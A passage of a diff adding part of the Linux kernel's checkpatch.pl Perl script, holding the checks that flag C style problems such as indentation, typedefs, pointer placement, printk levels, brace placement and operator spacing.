+				#  3) labels.
+				if ($continuation ||
+				    $s =~ /^\s*?\n/ ||
+				    $s =~ /^\s*#\s*?/ ||
+				    $s =~ /^\s*$Ident\s*:/) {
+					$continuation = ($s =~ /^.*?\\\n/) ? 1 : 0;
+					if ($s =~ s/^.*?\n//) {
+						$cond_lines++;
+					}
+				}
+			}
+
+			my (undef, $sindent) = line_stats("+" . $s);
+			my $stat_real = raw_line($linenr, $cond_lines);
+
+			# Check if either of these lines are modified, else
+			# this is not this patch's fault.
+			if (!defined($stat_real) ||
+			    $stat !~ /^\+/ && $stat_real !~ /^\+/) {
+				$check = 0;
+			}
+			if (defined($stat_real) && $cond_lines > 1) {
+				$stat_real = "[...]\n$stat_real";
+			}
+
+			#print "line<$line> prevline<$prevline> indent<$indent> sindent<$sindent> check<$check> continuation<$continuation> s<$s> cond_lines<$cond_lines> stat_real<$stat_real> stat<$stat>\n";
+
+			if ($check && $s ne '' &&
+			    (($sindent % $tabsize) != 0 ||
+			     ($sindent < $indent) ||
+			     ($sindent == $indent &&
+			      ($s !~ /^\s*(?:\}|\{|else\b)/)) ||
+			     ($sindent > $indent + $tabsize))) {
+				WARN("SUSPECT_CODE_INDENT",
+				     "suspect code indent for conditional statements ($indent, $sindent)\n" . $herecurr . "$stat_real\n");
+			}
+		}
+
+		# Track the 'values' across context and added lines.
+		my $opline = $line; $opline =~ s/^./ /;
+		my ($curr_values, $curr_vars) =
+				annotate_values($opline . "\n", $prev_values);
+		$curr_values = $prev_values . $curr_values;
+		if ($dbg_values) {
+			my $outline = $opline; $outline =~ s/\t/ /g;
+			print "$linenr > .$outline\n";
+			print "$linenr > $curr_values\n";
+			print "$linenr >  $curr_vars\n";
+		}
+		$prev_values = substr($curr_values, -1);
+
+#ignore lines not being added
+		next if ($line =~ /^[^\+]/);
+
+# check for self assignments used to avoid compiler warnings
+# e.g.:	int foo = foo, *bar = NULL;
+#	struct foo bar = *(&(bar));
+		if ($line =~ /^\+\s*(?:$Declare)?([A-Za-z_][A-Za-z\d_]*)\s*=/) {
+			my $var = $1;
+			if ($line =~ /^\+\s*(?:$Declare)?$var\s*=\s*(?:$var|\*\s*\(?\s*&\s*\(?\s*$var\s*\)?\s*\)?)\s*[;,]/) {
+				WARN("SELF_ASSIGNMENT",
+				     "Do not use self-assignments to avoid compiler warnings\n" . $herecurr);
+			}
+		}
+
+# check for dereferences that span multiple lines
+		if ($prevline =~ /^\+.*$Lval\s*(?:\.|->)\s*$/ &&
+		    $line =~ /^\+\s*(?!\#\s*(?!define\s+|if))\s*$Lval/) {
+			$prevline =~ /($Lval\s*(?:\.|->))\s*$/;
+			my $ref = $1;
+			$line =~ /^.\s*($Lval)/;
+			$ref .= $1;
+			$ref =~ s/\s//g;
+			WARN("MULTILINE_DEREFERENCE",
+			     "Avoid multiple line dereference - prefer '$ref'\n" . $hereprev);
+		}
+
+# check for declarations of signed or unsigned without int
+		while ($line =~ m{\b($Declare)\s*(?!char\b|short\b|int\b|long\b)\s*($Ident)?\s*[=,;\[\)\(]}g) {
+			my $type = $1;
+			my $var = $2;
+			$var = "" if (!defined $var);
+			if ($type =~ /^(?:(?:$Storage|$Inline|$Attribute)\s+)*((?:un)?signed)((?:\s*\*)*)\s*$/) {
+				my $sign = $1;
+				my $pointer = $2;
+
+				$pointer = "" if (!defined $pointer);
+
+				if (WARN("UNSPECIFIED_INT",
+					 "Prefer '" . trim($sign) . " int" . rtrim($pointer) . "' to bare use of '$sign" . rtrim($pointer) . "'\n" . $herecurr) &&
+				    $fix) {
+					my $decl = trim($sign) . " int ";
+					my $comp_pointer = $pointer;
+					$comp_pointer =~ s/\s//g;
+					$decl .= $comp_pointer;
+					$decl = rtrim($decl) if ($var eq "");
+					$fixed[$fixlinenr] =~ s@\b$sign\s*\Q$pointer\E\s*$var\b@$decl$var@;
+				}
+			}
+		}
+
+# TEST: allow direct testing of the type matcher.
+		if ($dbg_type) {
+			if ($line =~ /^.\s*$Declare\s*$/) {
+				ERROR("TEST_TYPE",
+				      "TEST: is type\n" . $herecurr);
+			} elsif ($dbg_type > 1 && $line =~ /^.+($Declare)/) {
+				ERROR("TEST_NOT_TYPE",
+				      "TEST: is not type ($1 is)\n". $herecurr);
+			}
+			next;
+		}
+# TEST: allow direct testing of the attribute matcher.
+		if ($dbg_attr) {
+			if ($line =~ /^.\s*$Modifier\s*$/) {
+				ERROR("TEST_ATTR",
+				      "TEST: is attr\n" . $herecurr);
+			} elsif ($dbg_attr > 1 && $line =~ /^.+($Modifier)/) {
+				ERROR("TEST_NOT_ATTR",
+				      "TEST: is not attr ($1 is)\n". $herecurr);
+			}
+			next;
+		}
+
+# check for initialisation to aggregates open brace on the next line
+		if ($line =~ /^.\s*{/ &&
+		    $prevline =~ /(?:^|[^=])=\s*$/) {
+			if (ERROR("OPEN_BRACE",
+				  "that open brace { should be on the previous line\n" . $hereprev) &&
+			    $fix && $prevline =~ /^\+/ && $line =~ /^\+/) {
+				fix_delete_line($fixlinenr - 1, $prevrawline);
+				fix_delete_line($fixlinenr, $rawline);
+				my $fixedline = $prevrawline;
+				$fixedline =~ s/\s*=\s*$/ = {/;
+				fix_insert_line($fixlinenr, $fixedline);
+				$fixedline = $line;
+				$fixedline =~ s/^(.\s*)\{\s*/$1/;
+				fix_insert_line($fixlinenr, $fixedline);
+			}
+		}
+
+#
+# Checks which are anchored on the added line.
+#
+
+# check for malformed paths in #include statements (uses RAW line)
+		if ($rawline =~ m{^.\s*\#\s*include\s+[<"](.*)[">]}) {
+			my $path = $1;
+			if ($path =~ m{//}) {
+				ERROR("MALFORMED_INCLUDE",
+				      "malformed #include filename\n" . $herecurr);
+			}
+			if ($path =~ "^uapi/" && $realfile =~ m@\binclude/uapi/@) {
+				ERROR("UAPI_INCLUDE",
+				      "No #include in ...include/uapi/... should use a uapi/ path prefix\n" . $herecurr);
+			}
+		}
+
+# no C99 // comments
+		if ($line =~ m{//}) {
+			if (ERROR("C99_COMMENTS",
+				  "do not use C99 // comments\n" . $herecurr) &&
+			    $fix) {
+				my $line = $fixed[$fixlinenr];
+				if ($line =~ /\/\/(.*)$/) {
+					my $comment = trim($1);
+					$fixed[$fixlinenr] =~ s@\/\/(.*)$@/\* $comment \*/@;
+				}
+			}
+		}
+		# Remove C99 comments.
+		$line =~ s@//.*@@;
+		$opline =~ s@//.*@@;
+
+# EXPORT_SYMBOL should immediately follow the thing it is exporting, consider
+# the whole statement.
+#print "APW <$lines[$realline_next - 1]>\n";
+		if (defined $realline_next &&
+		    exists $lines[$realline_next - 1] &&
+		    !defined $suppress_export{$realline_next} &&
+		    ($lines[$realline_next - 1] =~ /EXPORT_SYMBOL.*\((.*)\)/)) {
+			# Handle definitions which produce identifiers with
+			# a prefix:
+			#   XXX(foo);
+			#   EXPORT_SYMBOL(something_foo);
+			my $name = $1;
+			if ($stat =~ /^(?:.\s*}\s*\n)?.([A-Z_]+)\s*\(\s*($Ident)/ &&
+			    $name =~ /^${Ident}_$2/) {
+#print "FOO C name<$name>\n";
+				$suppress_export{$realline_next} = 1;
+
+			} elsif ($stat !~ /(?:
+				\n.}\s*$|
+				^.DEFINE_$Ident\(\Q$name\E\)|
+				^.DECLARE_$Ident\(\Q$name\E\)|
+				^.LIST_HEAD\(\Q$name\E\)|
+				^.(?:$Storage\s+)?$Type\s*\(\s*\*\s*\Q$name\E\s*\)\s*\(|
+				\b\Q$name\E(?:\s+$Attribute)*\s*(?:;|=|\[|\()
+			    )/x) {
+#print "FOO A<$lines[$realline_next - 1]> stat<$stat> name<$name>\n";
+				$suppress_export{$realline_next} = 2;
+			} else {
+				$suppress_export{$realline_next} = 1;
+			}
+		}
+		if (!defined $suppress_export{$linenr} &&
+		    $prevline =~ /^.\s*$/ &&
+		    ($line =~ /EXPORT_SYMBOL.*\((.*)\)/)) {
+#print "FOO B <$lines[$linenr - 1]>\n";
+			$suppress_export{$linenr} = 2;
+		}
+		if (defined $suppress_export{$linenr} &&
+		    $suppress_export{$linenr} == 2) {
+			WARN("EXPORT_SYMBOL",
+			     "EXPORT_SYMBOL(foo); should immediately follow its function/variable\n" . $herecurr);
+		}
+
+# check for global initialisers.
+		if ($line =~ /^\+$Type\s*$Ident(?:\s+$Modifier)*\s*=\s*($zero_initializer)\s*;/ &&
+		    !exclude_global_initialisers($realfile)) {
+			if (ERROR("GLOBAL_INITIALISERS",
+				  "do not initialise globals to $1\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/(^.$Type\s*$Ident(?:\s+$Modifier)*)\s*=\s*$zero_initializer\s*;/$1;/;
+			}
+		}
+# check for static initialisers.
+		if ($line =~ /^\+.*\bstatic\s.*=\s*($zero_initializer)\s*;/) {
+			if (ERROR("INITIALISED_STATIC",
+				  "do not initialise statics to $1\n" .
+				      $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/(\bstatic\s.*?)\s*=\s*$zero_initializer\s*;/$1;/;
+			}
+		}
+
+# check for misordered declarations of char/short/int/long with signed/unsigned
+		while ($sline =~ m{(\b$TypeMisordered\b)}g) {
+			my $tmp = trim($1);
+			WARN("MISORDERED_TYPE",
+			     "type '$tmp' should be specified in [[un]signed] [short|int|long|long long] order\n" . $herecurr);
+		}
+
+# check for unnecessary <signed> int declarations of short/long/long long
+		while ($sline =~ m{\b($TypeMisordered(\s*\*)*|$C90_int_types)\b}g) {
+			my $type = trim($1);
+			next if ($type !~ /\bint\b/);
+			next if ($type !~ /\b(?:short|long\s+long|long)\b/);
+			my $new_type = $type;
+			$new_type =~ s/\b\s*int\s*\b/ /;
+			$new_type =~ s/\b\s*(?:un)?signed\b\s*/ /;
+			$new_type =~ s/^const\s+//;
+			$new_type = "unsigned $new_type" if ($type =~ /\bunsigned\b/);
+			$new_type = "const $new_type" if ($type =~ /^const\b/);
+			$new_type =~ s/\s+/ /g;
+			$new_type = trim($new_type);
+			if (WARN("UNNECESSARY_INT",
+				 "Prefer '$new_type' over '$type' as the int is unnecessary\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\b\Q$type\E\b/$new_type/;
+			}
+		}
+
+# check for static const char * arrays.
+		if ($line =~ /\bstatic\s+const\s+char\s*\*\s*(\w+)\s*\[\s*\]\s*=\s*/) {
+			WARN("STATIC_CONST_CHAR_ARRAY",
+			     "static const char * array should probably be static const char * const\n" .
+				$herecurr);
+		}
+
+# check for initialized const char arrays that should be static const
+		if ($line =~ /^\+\s*const\s+(char|unsigned\s+char|_*u8|(?:[us]_)?int8_t)\s+\w+\s*\[\s*(?:\w+\s*)?\]\s*=\s*"/) {
+			if (WARN("STATIC_CONST_CHAR_ARRAY",
+				 "const array should probably be static const\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/(^.\s*)const\b/${1}static const/;
+			}
+		}
+
+# check for static char foo[] = "bar" declarations.
+		if ($line =~ /\bstatic\s+char\s+(\w+)\s*\[\s*\]\s*=\s*"/) {
+			WARN("STATIC_CONST_CHAR_ARRAY",
+			     "static char array declaration should probably be static const char\n" .
+				$herecurr);
+		}
+
+# check for const <foo> const where <foo> is not a pointer or array type
+		if ($sline =~ /\bconst\s+($BasicType)\s+const\b/) {
+			my $found = $1;
+			if ($sline =~ /\bconst\s+\Q$found\E\s+const\b\s*\*/) {
+				WARN("CONST_CONST",
+				     "'const $found const *' should probably be 'const $found * const'\n" . $herecurr);
+			} elsif ($sline !~ /\bconst\s+\Q$found\E\s+const\s+\w+\s*\[/) {
+				WARN("CONST_CONST",
+				     "'const $found const' should probably be 'const $found'\n" . $herecurr);
+			}
+		}
+
+# check for const static or static <non ptr type> const declarations
+# prefer 'static const <foo>' over 'const static <foo>' and 'static <foo> const'
+		if ($sline =~ /^\+\s*const\s+static\s+($Type)\b/ ||
+		    $sline =~ /^\+\s*static\s+($BasicType)\s+const\b/) {
+			if (WARN("STATIC_CONST",
+				 "Move const after static - use 'static const $1'\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\bconst\s+static\b/static const/;
+				$fixed[$fixlinenr] =~ s/\bstatic\s+($BasicType)\s+const\b/static const $1/;
+			}
+		}
+
+# check for non-global char *foo[] = {"bar", ...} declarations.
+		if ($line =~ /^.\s+(?:static\s+|const\s+)?char\s+\*\s*\w+\s*\[\s*\]\s*=\s*\{/) {
+			WARN("STATIC_CONST_CHAR_ARRAY",
+			     "char * array declaration might be better as static const\n" .
+				$herecurr);
+		}
+
+# check for sizeof(foo)/sizeof(foo[0]) that could be ARRAY_SIZE(foo)
+		if ($line =~ m@\bsizeof\s*\(\s*($Lval)\s*\)@) {
+			my $array = $1;
+			if ($line =~ m@\b(sizeof\s*\(\s*\Q$array\E\s*\)\s*/\s*sizeof\s*\(\s*\Q$array\E\s*\[\s*0\s*\]\s*\))@) {
+				my $array_div = $1;
+				if (WARN("ARRAY_SIZE",
+					 "Prefer ARRAY_SIZE($array)\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\Q$array_div\E/ARRAY_SIZE($array)/;
+				}
+			}
+		}
+
+# check for function declarations without arguments like "int foo()"
+		if ($line =~ /(\b$Type\s*$Ident)\s*\(\s*\)/) {
+			if (ERROR("FUNCTION_WITHOUT_ARGS",
+				  "Bad function definition - $1() should probably be $1(void)\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/(\b($Type)\s+($Ident))\s*\(\s*\)/$2 $3(void)/;
+			}
+		}
+
+# check for new typedefs, only function parameters and sparse annotations
+# make sense.
+		if ($line =~ /\btypedef\s/ &&
+		    $line !~ /\btypedef\s+$Type\s*\(\s*\*?$Ident\s*\)\s*\(/ &&
+		    $line !~ /\btypedef\s+$Type\s+$Ident\s*\(/ &&
+		    $line !~ /\b$typeTypedefs\b/ &&
+		    $line !~ /\b__bitwise\b/) {
+			WARN("NEW_TYPEDEFS",
+			     "do not add new typedefs\n" . $herecurr);
+		}
+
+# * goes on variable not on type
+		# (char*[ const])
+		while ($line =~ m{(\($NonptrType(\s*(?:$Modifier\b\s*|\*\s*)+)\))}g) {
+			#print "AA<$1>\n";
+			my ($ident, $from, $to) = ($1, $2, $2);
+
+			# Should start with a space.
+			$to =~ s/^(\S)/ $1/;
+			# Should not end with a space.
+			$to =~ s/\s+$//;
+			# '*'s should not have spaces between.
+			while ($to =~ s/\*\s+\*/\*\*/) {
+			}
+
+##			print "1: from<$from> to<$to> ident<$ident>\n";
+			if ($from ne $to) {
+				if (ERROR("POINTER_LOCATION",
+					  "\"(foo$from)\" should be \"(foo$to)\"\n" .  $herecurr) &&
+				    $fix) {
+					my $sub_from = $ident;
+					my $sub_to = $ident;
+					$sub_to =~ s/\Q$from\E/$to/;
+					$fixed[$fixlinenr] =~
+					    s@\Q$sub_from\E@$sub_to@;
+				}
+			}
+		}
+		while ($line =~ m{(\b$NonptrType(\s*(?:$Modifier\b\s*|\*\s*)+)($Ident))}g) {
+			#print "BB<$1>\n";
+			my ($match, $from, $to, $ident) = ($1, $2, $2, $3);
+
+			# Should start with a space.
+			$to =~ s/^(\S)/ $1/;
+			# Should not end with a space.
+			$to =~ s/\s+$//;
+			# '*'s should not have spaces between.
+			while ($to =~ s/\*\s+\*/\*\*/) {
+			}
+			# Modifiers should have spaces.
+			$to =~ s/(\b$Modifier$)/$1 /;
+
+##			print "2: from<$from> to<$to> ident<$ident>\n";
+			if ($from ne $to && $ident !~ /^$Modifier$/) {
+				if (ERROR("POINTER_LOCATION",
+					  "\"foo${from}bar\" should be \"foo${to}bar\"\n" .  $herecurr) &&
+				    $fix) {
+
+					my $sub_from = $match;
+					my $sub_to = $match;
+					$sub_to =~ s/\Q$from\E/$to/;
+					$fixed[$fixlinenr] =~
+					    s@\Q$sub_from\E@$sub_to@;
+				}
+			}
+		}
+
+# avoid BUG() or BUG_ON()
+		if ($line =~ /\b(?:BUG|BUG_ON)\b/) {
+			my $msg_level = \&WARN;
+			$msg_level = \&CHK if ($file);
+			&{$msg_level}("AVOID_BUG",
+				      "Avoid crashing the kernel - try using WARN_ON & recovery code rather than BUG() or BUG_ON()\n" . $herecurr);
+		}
+
+# avoid LINUX_VERSION_CODE
+		if ($line =~ /\bLINUX_VERSION_CODE\b/) {
+			WARN("LINUX_VERSION_CODE",
+			     "LINUX_VERSION_CODE should be avoided, code should be for the version to which it is merged\n" . $herecurr);
+		}
+
+# check for uses of printk_ratelimit
+		if ($line =~ /\bprintk_ratelimit\s*\(/) {
+			WARN("PRINTK_RATELIMITED",
+			     "Prefer printk_ratelimited or pr_<level>_ratelimited to printk_ratelimit\n" . $herecurr);
+		}
+
+# printk should use KERN_* levels
+		if ($line =~ /\bprintk\s*\(\s*(?!KERN_[A-Z]+\b)/) {
+			WARN("PRINTK_WITHOUT_KERN_LEVEL",
+			     "printk() should include KERN_<LEVEL> facility level\n" . $herecurr);
+		}
+
+# prefer variants of (subsystem|netdev|dev|pr)_<level> to printk(KERN_<LEVEL>
+		if ($line =~ /\b(printk(_once|_ratelimited)?)\s*\(\s*KERN_([A-Z]+)/) {
+			my $printk = $1;
+			my $modifier = $2;
+			my $orig = $3;
+			$modifier = "" if (!defined($modifier));
+			my $level = lc($orig);
+			$level = "warn" if ($level eq "warning");
+			my $level2 = $level;
+			$level2 = "dbg" if ($level eq "debug");
+			$level .= $modifier;
+			$level2 .= $modifier;
+			WARN("PREFER_PR_LEVEL",
+			     "Prefer [subsystem eg: netdev]_$level2([subsystem]dev, ... then dev_$level2(dev, ... then pr_$level(...  to $printk(KERN_$orig ...\n" . $herecurr);
+		}
+
+# prefer dev_<level> to dev_printk(KERN_<LEVEL>
+		if ($line =~ /\bdev_printk\s*\(\s*KERN_([A-Z]+)/) {
+			my $orig = $1;
+			my $level = lc($orig);
+			$level = "warn" if ($level eq "warning");
+			$level = "dbg" if ($level eq "debug");
+			WARN("PREFER_DEV_LEVEL",
+			     "Prefer dev_$level(... to dev_printk(KERN_$orig, ...\n" . $herecurr);
+		}
+
+# trace_printk should not be used in production code.
+		if ($line =~ /\b(trace_printk|trace_puts|ftrace_vprintk)\s*\(/) {
+			WARN("TRACE_PRINTK",
+			     "Do not use $1() in production code (this can be ignored if built only with a debug config option)\n" . $herecurr);
+		}
+
+# ENOSYS means "bad syscall nr" and nothing else.  This will have a small
+# number of false positives, but assembly files are not checked, so at
+# least the arch entry code will not trigger this warning.
+		if ($line =~ /\bENOSYS\b/) {
+			WARN("ENOSYS",
+			     "ENOSYS means 'invalid syscall nr' and nothing else\n" . $herecurr);
+		}
+
+# ENOTSUPP is not a standard error code and should be avoided in new patches.
+# Folks usually mean EOPNOTSUPP (also called ENOTSUP), when they type ENOTSUPP.
+# Similarly to ENOSYS warning a small number of false positives is expected.
+		if (!$file && $line =~ /\bENOTSUPP\b/) {
+			if (WARN("ENOTSUPP",
+				 "ENOTSUPP is not a SUSV4 error code, prefer EOPNOTSUPP\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\bENOTSUPP\b/EOPNOTSUPP/;
+			}
+		}
+
+# function brace can't be on same line, except for #defines of do while,
+# or if closed on same line
+		if ($perl_version_ok &&
+		    $sline =~ /$Type\s*$Ident\s*$balanced_parens\s*\{/ &&
+		    $sline !~ /\#\s*define\b.*do\s*\{/ &&
+		    $sline !~ /}/) {
+			if (ERROR("OPEN_BRACE",
+				  "open brace '{' following function definitions go on the next line\n" . $herecurr) &&
+			    $fix) {
+				fix_delete_line($fixlinenr, $rawline);
+				my $fixed_line = $rawline;
+				$fixed_line =~ /(^..*$Type\s*$Ident\(.*\)\s*)\{(.*)$/;
+				my $line1 = $1;
+				my $line2 = $2;
+				fix_insert_line($fixlinenr, ltrim($line1));
+				fix_insert_line($fixlinenr, "\+{");
+				if ($line2 !~ /^\s*$/) {
+					fix_insert_line($fixlinenr, "\+\t" . trim($line2));
+				}
+			}
+		}
+
+# open braces for enum, union and struct go on the same line.
+		if ($line =~ /^.\s*{/ &&
+		    $prevline =~ /^.\s*(?:typedef\s+)?(enum|union|struct)(?:\s+$Ident)?\s*$/) {
+			if (ERROR("OPEN_BRACE",
+				  "open brace '{' following $1 go on the same line\n" . $hereprev) &&
+			    $fix && $prevline =~ /^\+/ && $line =~ /^\+/) {
+				fix_delete_line($fixlinenr - 1, $prevrawline);
+				fix_delete_line($fixlinenr, $rawline);
+				my $fixedline = rtrim($prevrawline) . " {";
+				fix_insert_line($fixlinenr, $fixedline);
+				$fixedline = $rawline;
+				$fixedline =~ s/^(.\s*)\{\s*/$1\t/;
+				if ($fixedline !~ /^\+\s*$/) {
+					fix_insert_line($fixlinenr, $fixedline);
+				}
+			}
+		}
+
+# missing space after union, struct or enum definition
+		if ($line =~ /^.\s*(?:typedef\s+)?(enum|union|struct)(?:\s+$Ident){1,2}[=\{]/) {
+			if (WARN("SPACING",
+				 "missing space after $1 definition\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/^(.\s*(?:typedef\s+)?(?:enum|union|struct)(?:\s+$Ident){1,2})([=\{])/$1 $2/;
+			}
+		}
+
+# Function pointer declarations
+# check spacing between type, funcptr, and args
+# canonical declaration is "type (*funcptr)(args...)"
+		if ($line =~ /^.\s*($Declare)\((\s*)\*(\s*)($Ident)(\s*)\)(\s*)\(/) {
+			my $declare = $1;
+			my $pre_pointer_space = $2;
+			my $post_pointer_space = $3;
+			my $funcname = $4;
+			my $post_funcname_space = $5;
+			my $pre_args_space = $6;
+
+# the $Declare variable will capture all spaces after the type
+# so check it for a missing trailing missing space but pointer return types
+# don't need a space so don't warn for those.
+			my $post_declare_space = "";
+			if ($declare =~ /(\s+)$/) {
+				$post_declare_space = $1;
+				$declare = rtrim($declare);
+			}
+			if ($declare !~ /\*$/ && $post_declare_space =~ /^$/) {
+				WARN("SPACING",
+				     "missing space after return type\n" . $herecurr);
+				$post_declare_space = " ";
+			}
+
+# unnecessary space "type  (*funcptr)(args...)"
+# This test is not currently implemented because these declarations are
+# equivalent to
+#	int  foo(int bar, ...)
+# and this is form shouldn't/doesn't generate a checkpatch warning.
+#
+#			elsif ($declare =~ /\s{2,}$/) {
+#				WARN("SPACING",
+#				     "Multiple spaces after return type\n" . $herecurr);
+#			}
+
+# unnecessary space "type ( *funcptr)(args...)"
+			if (defined $pre_pointer_space &&
+			    $pre_pointer_space =~ /^\s/) {
+				WARN("SPACING",
+				     "Unnecessary space after function pointer open parenthesis\n" . $herecurr);
+			}
+
+# unnecessary space "type (* funcptr)(args...)"
+			if (defined $post_pointer_space &&
+			    $post_pointer_space =~ /^\s/) {
+				WARN("SPACING",
+				     "Unnecessary space before function pointer name\n" . $herecurr);
+			}
+
+# unnecessary space "type (*funcptr )(args...)"
+			if (defined $post_funcname_space &&
+			    $post_funcname_space =~ /^\s/) {
+				WARN("SPACING",
+				     "Unnecessary space after function pointer name\n" . $herecurr);
+			}
+
+# unnecessary space "type (*funcptr) (args...)"
+			if (defined $pre_args_space &&
+			    $pre_args_space =~ /^\s/) {
+				WARN("SPACING",
+				     "Unnecessary space before function pointer arguments\n" . $herecurr);
+			}
+
+			if (show_type("SPACING") && $fix) {
+				$fixed[$fixlinenr] =~
+				    s/^(.\s*)$Declare\s*\(\s*\*\s*$Ident\s*\)\s*\(/$1 . $declare . $post_declare_space . '(*' . $funcname . ')('/ex;
+			}
+		}
+
+# check for spacing round square brackets; allowed:
+#  1. with a type on the left -- int [] a;
+#  2. at the beginning of a line for slice initialisers -- [0...10] = 5,
+#  3. inside a curly brace -- = { [0...10] = 5 }
+		while ($line =~ /(.*?\s)\[/g) {
+			my ($where, $prefix) = ($-[1], $1);
+			if ($prefix !~ /$Type\s+$/ &&
+			    ($where != 0 || $prefix !~ /^.\s+$/) &&
+			    $prefix !~ /[{,:]\s+$/) {
+				if (ERROR("BRACKET_SPACE",
+					  "space prohibited before open square bracket '['\n" . $herecurr) &&
+				    $fix) {
+				    $fixed[$fixlinenr] =~
+					s/^(\+.*?)\s+\[/$1\[/;
+				}
+			}
+		}
+
+# check for spaces between functions and their parentheses.
+		while ($line =~ /($Ident)\s+\(/g) {
+			my $name = $1;
+			my $ctx_before = substr($line, 0, $-[1]);
+			my $ctx = "$ctx_before$name";
+
+			# Ignore those directives where spaces _are_ permitted.
+			if ($name =~ /^(?:
+				if|for|while|switch|return|case|
+				volatile|__volatile__|
+				__attribute__|format|__extension__|
+				asm|__asm__)$/x)
+			{
+			# cpp #define statements have non-optional spaces, ie
+			# if there is a space between the name and the open
+			# parenthesis it is simply not a parameter group.
+			} elsif ($ctx_before =~ /^.\s*\#\s*define\s*$/) {
+
+			# cpp #elif statement condition may start with a (
+			} elsif ($ctx =~ /^.\s*\#\s*elif\s*$/) {
+
+			# If this whole things ends with a type its most
+			# likely a typedef for a function.
+			} elsif ($ctx =~ /$Type$/) {
+
+			} else {
+				if (WARN("SPACING",
+					 "space prohibited between function name and open parenthesis '('\n" . $herecurr) &&
+					     $fix) {
+					$fixed[$fixlinenr] =~
+					    s/\b$name\s+\(/$name\(/;
+				}
+			}
+		}
+
+# Check operator spacing.
+		if (!($line=~/\#\s*include/)) {
+			my $fixed_line = "";
+			my $line_fixed = 0;
+
+			my $ops = qr{
+				<<=|>>=|<=|>=|==|!=|
+				\+=|-=|\*=|\/=|%=|\^=|\|=|&=|
+				=>|->|<<|>>|<|>|=|!|~|
+				&&|\|\||,|\^|\+\+|--|&|\||\+|-|\*|\/|%|
+				\?:|\?|:
+			}x;
+			my @elements = split(/($ops|;)/, $opline);
+
+##			print("element count: <" . $#elements . ">\n");
+##			foreach my $el (@elements) {
+##				print("el: <$el>\n");
+##			}
+
+			my @fix_elements = ();
+			my $off = 0;
+
+			foreach my $el (@elements) {
+				push(@fix_elements, substr($rawline, $off, length($el)));
+				$off += length($el);
+			}
+
+			$off = 0;
+
+			my $blank = copy_spacing($opline);
+			my $last_after = -1;
+
+			for (my $n = 0; $n < $#elements; $n += 2) {
+
+				my $good = $fix_elements[$n] . $fix_elements[$n + 1];
+
+##				print("n: <$n> good: <$good>\n");
+
+				$off += length($elements[$n]);
+
+				# Pick up the preceding and succeeding characters.
+				my $ca = substr($opline, 0, $off);
+				my $cc = '';
+				if (length($opline) >= ($off + length($elements[$n + 1]))) {
+					$cc = substr($opline, $off + length($elements[$n + 1]));
+				}
+				my $cb = "$ca$;$cc";
+
+				my $a = '';
+				$a = 'V' if ($elements[$n] ne '');
+				$a = 'W' if ($elements[$n] =~ /\s$/);
+				$a = 'C' if ($elements[$n] =~ /$;$/);
+				$a = 'B' if ($elements[$n] =~ /(\[|\()$/);
+				$a = 'O' if ($elements[$n] eq '');
+				$a = 'E' if ($ca =~ /^\s*$/);
+
+				my $op = $elements[$n + 1];
+
+				my $c = '';
+				if (defined $elements[$n + 2]) {
+					$c = 'V' if ($elements[$n + 2] ne '');
+					$c = 'W' if ($elements[$n + 2] =~ /^\s/);
+					$c = 'C' if ($elements[$n + 2] =~ /^$;/);
+					$c = 'B' if ($elements[$n + 2] =~ /^(\)|\]|;)/);
+					$c = 'O' if ($elements[$n + 2] eq '');
+					$c = 'E' if ($elements[$n + 2] =~ /^\s*\\$/);
+				} else {
+					$c = 'E';
+				}
+
+				my $ctx = "${a}x${c}";
+
+				my $at = "(ctx:$ctx)";
+
+				my $ptr = substr($blank, 0, $off) . "^";
+				my $hereptr = "$hereline$ptr\n";
+
+				# Pull out the value of this operator.
+				my $op_type = substr($curr_values, $off + 1, 1);
+
+				# Get the full operator variant.
+				my $opv = $op . substr($curr_vars, $off, 1);
+
+				# Ignore operators passed as parameters.
+				if ($op_type ne 'V' &&
+				    $ca =~ /\s$/ && $cc =~ /^\s*[,\)]/) {
+
+#				# Ignore comments
+#				} elsif ($op =~ /^$;+$/) {
+
+				# ; should have either the end of line or a space or \ after it
+				} elsif ($op eq ';') {
+					if ($ctx !~ /.x[WEBC]/ &&
+					    $cc !~ /^\\/ && $cc !~ /^;/) {
+						if (ERROR("SPACING",
+							  "space required after that '$op' $at\n" . $hereptr)) {
+							$good = $fix_elements[$n] . trim($fix_elements[$n + 1]) . " ";
+							$line_fixed = 1;
+						}
+					}
+
+				# // is a comment
+				} elsif ($op eq '//') {
+
+				#   :   when part of a bitfield
+				} elsif ($opv eq ':B') {
+					# skip the bitfield test for now
+
+				# No spaces for:
+				#   ->
+				} elsif ($op eq '->') {
+					if ($ctx =~ /Wx.|.xW/) {
+						if (ERROR("SPACING",
+							  "spaces prohibited around that '$op' $at\n" . $hereptr)) {
+							$good = rtrim($fix_elements[$n]) . trim($fix_elements[$n + 1]);
+							if (defined $fix_elements[$n + 2]) {
+								$fix_elements[$n + 2] =~ s/^\s+//;
+							}
+							$line_fixed = 1;
+						}
+					}
+
+				# , must not have a space before and must have a space on the right.
+				} elsif ($op eq ',') {
+					my $rtrim_before = 0;
+					my $space_after = 0;
+					if ($ctx =~ /Wx./) {
+						if (ERROR("SPACING",
+							  "space prohibited before that '$op' $at\n" . $hereptr)) {
+							$line_fixed = 1;
+							$rtrim_before = 1;
+						}
+					}
+					if ($ctx !~ /.x[WEC]/ && $cc !~ /^}/) {
+						if (ERROR("SPACING",
+							  "space required after that '$op' $at\n" . $hereptr)) {
+							$line_fixed = 1;
+							$last_after = $n;
+							$space_after = 1;
+						}
+					}
+					if ($rtrim_before || $space_after) {
+						if ($rtrim_before) {
+							$good = rtrim($fix_elements[$n]) . trim($fix_elements[$n + 1]);
+						} else {
+							$good = $fix_elements[$n] . trim($fix_elements[$n + 1]);
+						}
+						if ($space_after) {
+							$good .= " ";
+						}
+					}
+
+				# '*' as part of a type definition -- reported already.
+				} elsif ($opv eq '*_') {
+					#warn "'*' is part of type\n";
+
+				# unary operators should have a space before and
